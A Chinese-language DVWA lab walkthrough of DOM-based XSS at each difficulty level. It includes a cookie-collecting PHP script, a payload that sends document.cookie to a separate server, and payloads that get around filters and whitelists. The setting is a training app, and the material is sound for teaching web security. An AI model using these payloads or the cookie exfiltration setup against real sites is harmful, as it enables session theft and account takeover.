DVWA-XSS (DOM) DOM型跨站脚本攻击
XSS(Cross Site Scripting),跨站脚本攻击,能使攻击者在页面嵌入一些脚本代码,用户再访问,被诱导点击时,执行恶意脚本,常见为javascript,也有Flash、VBscript,常见于盗取cookie。
DOM型XSS,是利用DOM树,DOM树就是HTML之间的标签,将标签闭合,注入<script></script>标签进行脚本的执行
LOW
审计源码

没有任何过滤
点击提交后可以看到default传参的内容为English

将English改为<script>alert(document.cookie)</script>
成功弹出cookie,利用成功

反弹cookie
真正的窃取cookie不止这么简单,我们这里在Web服务器中写一个接收cookie并保存的文件
getcookie.php
<?php
$cookie = $_GET['cookie'];
fwrite(fopen('cookie.txt','a'),'Cookie : '.$cookie."\n");
?>

然后使用javascript获取cookie值,并访问getcookie.php,getcookie.php会将cookie值保存到cookie.txt中
首先测试访问getcookie.php是否正常
http://192.168.1.131/getcookie.php?cookie=nihao

查看是否生成cookie.txt

正常执行
在default传入
default=<script>document.location='http://192.168.1.131/getcookie.php?cookie='+document.cookie</script>

执行后查看cookie.txt是否反弹成功
成功反弹

Meidum
审计源码
<?php
// 检查是否有 default 的键名 ,判断 default 传参是否为空
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
// 获取 default 传参的值
$default = $_GET['default'];
// stripos 查找字符串首次出现的位置(不区分大小写)
// 查找到返回 true ,查找不到返回 false
// 判断不能查找到 <script ,并且不区分大小写
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
传参中不能含有<script,不过可以使用<img />标签,带上属性onerror='alert(document.cookie)'
测试default=<img src=1 onerror=alert(document.cookie)>

并没有弹窗,使用检查查看default的值传到了哪里

通过观察,传入的值在<option></option>标签中,尝试将传入</option>将标签闭合
default=</option><img src=1 onerror=alert(document.cookie)>

闭合后依然没有弹窗,再次检查查看default值传入了哪里

还是没有闭合,值依然在value中,尝试传入</select>闭合更外一层的<select>标签
default=</select><img src=1 onerror=alert(document.cookie)>

可以看到成功弹窗,检查查看是如何闭合的

Hihg
审计源码
<?php
// 判断是否传入数据
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# 判断获取的 default 传入的值,只能是一下四种
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
// 默认选择 English
default:
header ("location: ?default=English");
exit;
}
}
?>
这里进行了一个白名单,只能是French、English、German、Spanish,否则无法执行
这里只是后端进行数据处理,将 default 的值传入页面使用的前段的javascript,前面的等级也是

从这里可以看出,将lang的值写入到页面中标签,value的值
所以,这里只要让后端检测不到即可
使用#,就可以绕过后端的检测,GET并不会获取到#号后面的内容,PHP认为#号后面注释的内容
测试default=English #<script>alert(/xss/)</script>
注意English后面时候空格的,如果不输入空格,会被当做default的值传入后端

当然&号也是可以的,&会被后端认为是另一个传参,也不会接收
default=English&<script>alert(document.cookie)</script>
&号前面是没有空格的,传参是紧密相连的

Impossible
审计源码

这里写到不做任何处理,在前段处理
查看前段代码

这里多了一个括号,这个括号就能阻止XSS了吗,我不相信
传入default=<script>alert(/xss/)</script>测试

可以看到这里没有对传入的特殊字符进行url解码,这样就过滤了<、/、#、&等特殊字符
DVWA-XSS (DOM) DOM型跨站脚本攻击的更多相关文章
- DVWA之DOM XSS(DOM型跨站脚本攻击)
目录 Low Medium High Impossible Low 源代码: <?php # No protections, anything goes ?> 从源代码可以看出,这里low ...
- XSS CSS Cross SiteScript 跨站脚本攻击
XSS攻击及防御 - 高爽|Coder - CSDN博客 https://blog.csdn.net/ghsau/article/details/17027893 XSS又称CSS,全称Cross S ...
- 渗透之路基础 -- 跨站脚本攻击XSS
目录 漏洞原理及防御 XSS 原理分析:输出问题导致js代码被识别执行 XSS 技术分类 Cookie盗取 基于Xss的WebShell箱子的攻击 XSS相关防护过滤及绕过分析(参考链接) 防护: 绕 ...
- WebGoat学习——跨站脚本攻击(Cross‐Site Scripting (XSS))
跨站脚本攻击(Cross‐Site Scripting (XSS)) XSS(Cross Site Script)跨站脚本攻击.是指攻击者向被攻击Web 页面里插入恶意html代码,当用户浏览该页之时 ...
- 跨站脚本攻击(Cross‐Site Scripting (XSS))
跨站脚本攻击(Cross‐Site Scripting (XSS)) 跨站脚本攻击(Cross‐Site Scripting (XSS)) XSS(Cross Site Script)跨站脚本攻击.是 ...
- DVWA全级别之XSS(Reflected)、XSS(Stored)【跨站脚本攻击】
XSS XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强 ...
- 小白日记49:kali渗透测试之Web渗透-XSS(三)-存储型XSS、DOM型XSS、神器BEFF
存储型XSS与DOM型XSS [XSS原理] 存储型XSS 1.可长期存储于服务器端 2.每次用户访问都会被执行js脚本,攻击者只需侦听指定端口 #攻击利用方法大体等于反射型xss利用 ##多出现在留 ...
- DVWA XSS (DOM) 通关教程
DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容.结构以及样式. DOM型XSS其实是一种特殊类型的反射型XSS,它是 ...
- XSS(跨站脚本攻击)的最全总结
从OWASP的官网意译过来,加上自己的理解,算是比较全面的介绍.有兴趣的可私下交流. XSS 跨站脚本攻击 ============================================== ...
- XSS(跨站脚本攻击)简单讲解
1.1 XSS简介 跨站脚本攻击(XSS),是最普遍的Web应用安全漏洞.这类漏洞能够使得攻击者嵌入恶意脚本代码(一般是JS代码)到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意 ...
随机推荐
- Ubuntu20.04上用tmux管理新进程
sudo apt-get install tmux 安装tmux tmux new -s session_name 新开一个会话 tmux a -t session_name 查看指定会话 tmux ...
- 运维权限系统之 OpenLDAP(干货)
系统环境:CentOS7 一.OpenLDAP 1,开始安装(使用yum源码安装) yum install openldap openldap-servers openldap-clients ##拷 ...
- HCIA-ICT实战基础08-访问控制列表ACL原理与配置
HCIA-ICT实战基础-访问控制列表ACL原理与配置 目录 ACL技术概述 ACL的基本概念及其工作原理 ACL的基础配置及应用 ACL技术概述 技术背景: 需要一个工具实现流量过滤 ACL是由一系 ...
- 【BOOK】数据存储—文件存储(TXT、JSON、CSV)
数据存储 文本文件-TXT.JSON.CSV 关系型数据库-MySQL.SQLite.Oracle.SQL Server.DB2 非关系型数据库-MongoDB.Redis 文件打开 open() ...
- JLink OB SWI 取代串口打印的方式
1:debug的串口被占用 2:从Keil 迁移到的LINUX下开发. 3:手上只有JLinkOB,(4线:CLK,SWIO,GND,RST) 4:设备只引出了4线(SWO 没接出) 环境: JLin ...
- Java8:LocalDate/ LocalDateTime与String、Date、TimeStamp的互转
LocalDate与String.Date.TimeStamp的互转: LocalDateTime与String.Date.TimeStamp的互转: 结果如下: 附代码: public static ...
- 分布式中间件MyCat 使用
MySQL 分布式软件MyCAT介绍 目录 MySQL 分布式软件MyCAT介绍 一.MySQL 分布式软件MyCAT介绍 1.1.1 MySQL 分布式软件MyCAT介绍 1.1.2 MyCat 架 ...
- linux 基线检查
1 检查用户缺省UMASK #cat /etc/profile|sed '/^#/d'|sed '/^$/d'|grep -i "umask" 修改umask vi /etc/pr ...
- python3 文件上传
1 # 文件上传方法 2 def upload_files(filepath, url, headers, data): 3 filename = filepath.split('\\')[-1] 4 ...
- 项目引入fastclick 导致ios中input需要多次点击才能触发focus
main.js中引入之后的修改 import FastClick from "fastclick"; FastClick.prototype.focus = function (t ...